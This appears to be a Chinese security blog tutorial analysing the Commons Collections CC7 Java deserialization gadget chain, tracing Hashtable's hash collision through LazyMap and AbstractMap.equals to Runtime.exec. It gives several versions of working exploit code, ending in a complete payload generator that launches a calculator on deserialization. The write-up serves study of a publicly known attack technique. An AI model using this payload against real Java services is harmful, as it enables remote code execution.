Java反序列化 CC7链分析

文章目录

前言

对比前几条链子,CC7链子的构造会稍显复杂,审计起来感觉跟CC6有点像,CC7的入口点是Hashtable,其核心在于利用Hashtable反序列化时的哈希碰撞来触发利用链,今天我们来详细分析一下

过程分析

后半部分

对于该链子的后半部分,我们用的还是LazyMap,具体可以参考之前的文章Java反序列化 CC1链分析 (LazyMap)

跟之前不一样的是,LazyMap这一部分代码需要进行修改,怎么修改我们后面分析的时候说,这里先把之前CC链用的代码放出来

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);
    }
}

前半部分

初步探索

CC7的入口是Hashtable的readObject方法,我们跟进去看看

这段代码的主要作用是在对象被反序列化时,根据流里的数据合理初始化哈希表结构和数据,使其内容与序列化前一致,reconstitutionPut(table, key, value)则是把反序列化出来的键值对放入新哈希表数组中,实现恢复,我们跟进看看

该方法首先对value的值进行检查,如果为null则抛出异常,然后计算key的哈希值hash,并根据该哈希值计算索引index,定位到数组中对应的桶位置,接着遍历该位置上已有的链表,检查是否存在hash相同的key,如果存在则抛出异常,否则将创建一个新的Entry节点,并将其插入到对应桶的链表头部

其核心在于for循环这部分,if判断里存在短路与运算(&&),只有前面的满足了才可以进入后面的部分,同时我们上面提到,检查是否存在hash相同的key,也就意味着至少要向Hashtable里存入两个元素,且哈希值要相等,否则无法进入e.key.equals(key)这一部分

java 复制代码
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
	if ((e.hash == hash) && e.key.equals(key)) {
		throw new java.io.StreamCorruptedException();
	}
}

根据ysoserial的CC7代码,我们往key里面存入LazyMap的实例化对象,就会调用到LazyMap的equals方法,但是LazyMap并没有这个方法,所以会往它继承的父类那里去找,也就是AbstractMapDecorator里的equals方法

我们跟进看看,if语句判断传入的object是否与当前实例是同一个对象,即是否满足引用相等,如果是同一实例则返回true,不同则return map.equals(object),所以我们要传入两个不同的对象才能调用equals方法

其中map对应的是LazyMap实例传入的第一个参数,根据ysoserial,也就是传入的HashMap实例,调用该实例的equals方法,但是HashMap也没有equals方法,同样的,也是去它继承的父类去找,即AbstractMap的equals方法

跟进AbstractMap的equals方法,可以看到里面调用了get方法,这一部分代码主要是判断两个Map是否相等时,先做一些基本类型和大小的判断,再逐个比对键值对内容;如果发现同一键对应的值不相等,则进入value.equals分支,只要我们传入o为LazyMap的实例,然后经过强制类型转换就进入了m,调用m的get方法也就是调用LazyMap实例的get方法,完成闭环

我们可以初步构造代码如下,lazyMap1和lazyMap2的key我们分别传入yy和zZ,值就传个相同的数字,因为这样子两个lazyMap的hash值是相同的,均为3872

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

但是运行的时候我们发现,还没开始进行序列化和反序列化就已经弹出计算器了,这并不是我们想要的

那么我们如何解决呢

逐步完善

这跟我们前面讲到的CC6情况一样,属于本地误触情况,具体可以参考Java反序列化 CC6链分析的HashMap部分,如果提前在本地触发了利用链,那么反序列化的时候就不会弹出计算器了,解决方法也很简单,给LazyMap传入无害的Transformer,这里我们传入一个安全的ChainedTransformer,后面再通过反射修改其iTransformers的值为transformers即可

修改如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        // 添加无害ChainedTransformer,并删去原本的chainedTransformer实例
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        // 修改第二个参数为transformerChain
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
        itransformer.setAccessible(true);
        itransformer.set(transformerChain, transformers);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

但是运行之后还是没有弹出计算器,说明还存在问题,跟进调试后发现lazyMap2集合多了一个键值对yy

在经过AbstractMap的equals方法时,由于元素个数不同导致返回false,也就无法继续后续链子的执行

为什么会这样呢,其实这里的情况也跟CC6类似,在我们执行hashTable.put(lazyMap2, 2)时,里面调用了lazyMap2的equals方法,然后进一步调用了AbstractMapDecorator的equals和AbstractMap的equals,最后调用了LazyMap的get方法

在经过LazyMap的get方法时,由于对应键值对不存在,就会触发map.put(key, value)新添加一个,导致多了一个yy键值对

解决方法也很简单,直接删去这个多余的键值对即可

java 复制代码
lazyMap2.remove("yy");

最终利用

综上,我们得到完整exp为

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        lazyMap2.remove("yy");

        Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
        itransformer.setAccessible(true);
        itransformer.set(transformerChain, transformers);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

成功弹出计算器

为了更直观的理解,这里放个流程图

总结

至此,CC1到CC7的审计也就结束了,花了有一些时间,不过一通审计下来收获挺大的,阅读代码的能力得到了提升,以后还要继续多审一些代码,争取进一步的突破,路漫漫其修远兮,吾将上下而求索

相关推荐
Java_2017_csdn42 分钟前
OFC、ERP、OMS、WMS、TMS 对比-详解
java
Johny_Zhao8 小时前
FreeRADIUS + 华为AC/AP + 802.1X/WPA2-Enterprise 无线认证对接部署完整指南
网络·网络安全·信息安全·ldap·radius·huawei·系统运维·centos8
运行时异常8 小时前
【WMS 仓储系统集成 AI Agent 实战】第 8 讲(终篇):生产部署与并发安全——Semaphore 放进 Flux.defer 的坑,压测抓了一晚上
人工智能·安全
EatFan8 小时前
Spring Boot 4 落地观察:从 yudao-cloud、matecloud、JPower 看国产脚手架的升级路线与迁移清单
java·spring boot·后端·spring cloud·微服务·后端开发·jdk 21
虹科网络安全8 小时前
“顶会”看安全(十八):超越越狱:揭示由能力边界模糊引发的 LLM 应用安全风险
人工智能·安全
hasty8 小时前
OAuth 登录成功,不代表邮箱可信:Flarum 账号关联漏洞的安全编码启示
安全
Maiko Star9 小时前
* LangChain 提示词模板详解:ChatPromptTemplate 的使用与高级特性
java·人工智能·langchain
国科安芯10 小时前
断电也隔离、听得真:ASL3159S 单通道 SPDT 模拟开关的“断电保护 + 音频保真“账
单片机·嵌入式硬件·安全·商业航天·抗辐射
hasty11 小时前
2026软件供应链安全政策全景
安全·安全威胁分析·代码复审
现任明教教主~11 小时前
Thinkphp站群蜘蛛池SaaS系统YanyvSEO含多用户/积分/六大引擎计费/易支付对接
java·开发语言·spring